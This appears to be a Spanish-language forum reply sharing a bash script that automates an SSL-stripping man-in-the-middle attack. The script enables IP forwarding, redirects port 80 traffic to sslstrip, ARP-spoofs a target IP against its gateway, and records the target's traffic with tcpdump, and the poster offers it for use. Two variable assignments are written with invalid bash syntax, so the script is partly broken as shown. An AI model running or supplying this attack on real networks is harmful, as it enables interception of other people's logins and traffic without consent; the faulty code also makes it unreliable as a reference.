Te dejo un script que a mi me funciona a la perfeccion en cuanto a funcionamiento de sslstrip:

#!/bin/bash

path_dir=/tmp #La ruta donde quieras guardar los resultados
file_name=sslstrip.log
file_name2=tcpdump.pcap
device=wlan0 #Modifica según el dispositivo desde donde hagas la captura.
$direccion_ip=192.168.0.12 #La IP del objetivo
$gateway=192.168.0.1 #La IP para realizar el ARP Spoofing

   echo "1" > /proc/sys/net/ipv4/ip_forward
   iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 5555
   roxterm --tab -e sslstrip -w $path_dir/$file_name -l 5555
   roxterm --tab -e arpspoof -i $device -t $direccion_ip $gateway
   roxterm --tab -e tcpdump -nni $device -s 0 -w $path_dir/$file_name2 host $direccion_ip

Espero que te sea de utilidad